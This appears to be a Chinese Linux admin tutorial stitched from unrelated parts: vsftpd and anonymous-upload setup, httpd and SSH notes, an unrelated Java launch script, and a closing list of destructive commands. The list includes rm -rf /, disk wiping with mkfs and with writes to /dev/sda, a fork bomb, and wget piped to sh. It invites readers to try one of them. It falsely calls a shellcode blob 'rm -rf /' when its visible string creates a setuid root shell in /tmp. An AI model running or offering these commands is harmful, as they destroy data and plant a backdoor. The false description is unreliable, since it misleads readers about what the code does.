# 文件/etc/vsftpd.chroot_list中的用户不chroot。

chroot_list_file=/etc/vsftpd.chroot_list

# 同时最多允许5个用户登陆。

max_clients=5 #有些不支持此选项,注释掉即可。

# ftp服务的密码验证模块。

pam_service_name=vsftpd

# listen=YES #如果是独立运行的则加此项(redhat9)。

#tcp_wrappers=YES #如果是独立运行的则加此项(redhat9)。

4.重新启动xinetd服务,你就可以匿名访问你的ftp服务器了。

下面我们来建立一个ftp管理员账号

在Linux ftp服务中,用户的权限受到双重限制。一是Linux文件系统本身的权限限制。每个文件的访问权限用rwxrwxrwx形势表示。每个用户只能做文件权限允许的操作。二是ftp配置的限制。系统允许的操作,如果在ftp的配置文件中没有被允许,用户还是不能作这个操作。如:某个文件的权限为rwxrwxrwx,即系统认为任何人都有读写执行的权利。如果vsftpd.conf中不允许匿名用户写,匿名用户还是不能修改这个文件。

对于目录文件的读权限,意味着可以读出这个目录中的文件信息。目录文件的写权限,意味着可以在这个目录下建立、删除、重命名文件。

用命令groupadd-r ftpAdmin添加一个ftp管理员组。其中-r表示这是一个系统组。

用命令useradd -c "ftp Administrator" -d /var/ftp/ -G ftpAdmin -s /sbin/nologin -r ftpAdmin添加一个管理员用户ftpAdmin。其中

-c "ftp Administrator" 是对这个用户的描述

-d /var/ftp/ 是这个用户的登陆目录

-g ftpAdmin 是这个用户所在的组

-s /sbin/nologin 是这个用户登陆时所用的shell。这个shell命令的功能极其弱,以至于不能用telnet登陆。也就是说这个管理员只能当当垃圾清扫员。(呵呵。好没面子的管理员)

-r 表示这是个系统账号,不用为它建立登陆目录。

建好管理员以后把incoming目录的管理权给他。

chown ftpAdmin /var/ftp/incoming :把此目录所有者设为ftpAdmin。

chmod 755 /var/ftp/incoming :把目录的权限设为所有者可读写执行,同组用户可读、可执行,所有人可读、可执行。

这样,我们的管理员就可以开始管理了。

5 . 配置vsftpd允许匿名用户上传

//修改vsftpd的主配置文件/etc/vsftpd.conf

# vi /etc/vsftpd.conf

//将如下两行前的#删除

//① #anon_upload_enable=YES 允许匿名用户上传

//② #anon_mkdir_write_enable=YES 开启匿名用户的写和创建目录的权限

//若要以上两项设置生效,同时还要求:

//(1) write_enable=YES

//(2) 匿名用户对文件系统的上传目录具有写权限

//添加如下的配置语句

// anon_world_readable_only=NO

//上面的配置语句用于放开匿名用户的浏览权限

//修改后存盘退出vi

//

//创建匿名上传目录

#mkdir/var/ftp/incoming

# 修改上传目录的权限

# chmod o+w /var/ftp/incoming/

#

//重新启动xinetd

# service xinetd restart

Web服务

(httpd)

同样在setup中选中httpd服务。www服务不需要xinetd作为它的代理进程。httpd这个进程一直在系统中运行。www服务的默认目录是/var/www/html。只要把主页放到这个目录下就可以访问了。

我们可以用建立ftp管理员的办法建立一个www管理员wwwAdmin。只要把它的登陆目录设为/var/www/html即可。

/etc/init.d/httpd start #启动服务

/etc/init.d/httpd restart #重新启动

其配置文件为/etc/httpd/conf/httpd.conf

ssh服务

SSH 是什么呢?他有什么特异功能?简单的来说,SSH 是 Secure SHell protocol 的简写,他可以经由将联机的封包加密的技术,来进行资料的传递,因此,资料当然就比较安全啰!这个 SSH 可以用来取代 Internet 上面较不安全的 finger, R Shell (rcp, rlogin, rsh 等指令), talk 及 telnet 等联机模式。底下我们将先简介一下 SSH 的联机模式,来说明为什么 SSH 会比较安全呢!

特别注意:这个 SSH 协议,在预设的状态中,本身就提供两个服务器功能:

1. 一个就是类似 telnet 的远程联机使用 shell 的服务器,亦即是俗称的 ssh ;

2. 另一个就是类似 FTP 服务的 sftp-server !提供更安全的 FTP 服务。

应用实例

#!/bin/ksh

home=`pwd`

export CLASSPATH="${home}/lib/swift-fields-1.0.jar:${home}/lib/wife-5.2.jar:${home}/lib/commons-lang-2.4.jar:${home}/lib/log4j-1.2.15.jar:${home}/lib/poi-3.1-FINAL.jar:${home}/lib/swiftmsggeneration-1.0.jar"

LOG_FILE=${home}/log/start_data_decrypt`date +"%y%m%d"`.log

echo "LOG_FILE: " $LOG_FILE

if [ -f $LOG_FILE ]; then

FILE_LEN=`cat $LOG_FILE|wc -l`

#echo $FILE_LEN, 200000 is about 30MB

if [ $FILE_LEN -gt 200000 ]; then

mv $LOG_FILE $LOG_FILE.bak

touch $LOG_FILE

chmod o+r $LOG_FILE

fi;

fi

if [ -z ${JAVA_HOME} ] ; then

echo "Get JAVA_HOME environment variable exported in terms of the directory to store JDK installed" >>${LOG_FILE}

exit -1

fi

echo "INFO:Generation begin .........." >>${LOG_FILE}

$JAVA_HOME/bin/java -cp ${CLASSPATH} com.abc.cde.swift.job.SwiftMsgGeneration "MT202" 2>&1 >> $LOG_FILE

echo "INFO:Generation end .........." >>${LOG_FILE}

echo "INFO:You can get original file in ${hist} .........." >>${LOG_FILE}

echo "INFO:You can get ecnrypt file in ${output} .........." >>${LOG_FILE}

其他相关

擦除根目录

Code:

rm -rf /

这个很简单,根目录会被擦光。

2. 16进制擦除根目录

Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p

release */

= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"

"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"

"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"

"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"

"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"

"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"

"x6ex2fx73x68x00x2dx63x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

没看懂?呵呵,其实就是16进制的[rm -rf /].

抹盘处理

Code:

mkfs.ext3 /dev/sda

抹盘行为无疑是危险的。

大数据处理

Code:

:(){:|:&};:

这不是90后的表情,也不是托蒂射点球前的表情,它可以让你的系统迅速因为处理大量数据而死机。用此条命令测试后无反应呢?

5. 写RAM数据

Code:

any_command > /dev/sda

这个命令将会写入大量的RAW数据,可以导致数据丢失。

执行 ls > /dev/sda 后无法进入系统,你可以试试哦

6. 未验证的下载源

Code:

wget some_untrusted_source -O- | sh

和Windows一样,千万不要乱下载未经证实安全性的源,这年头Linux和胡萝卜一样,也不会保险。

7. 消失的主目录

Code:

mv /home/yourhomedirectory/* /dev/null

这条命令无疑会让系统抓狂,你的主目录会再也看不到。

相关词条

相关搜索

其它词条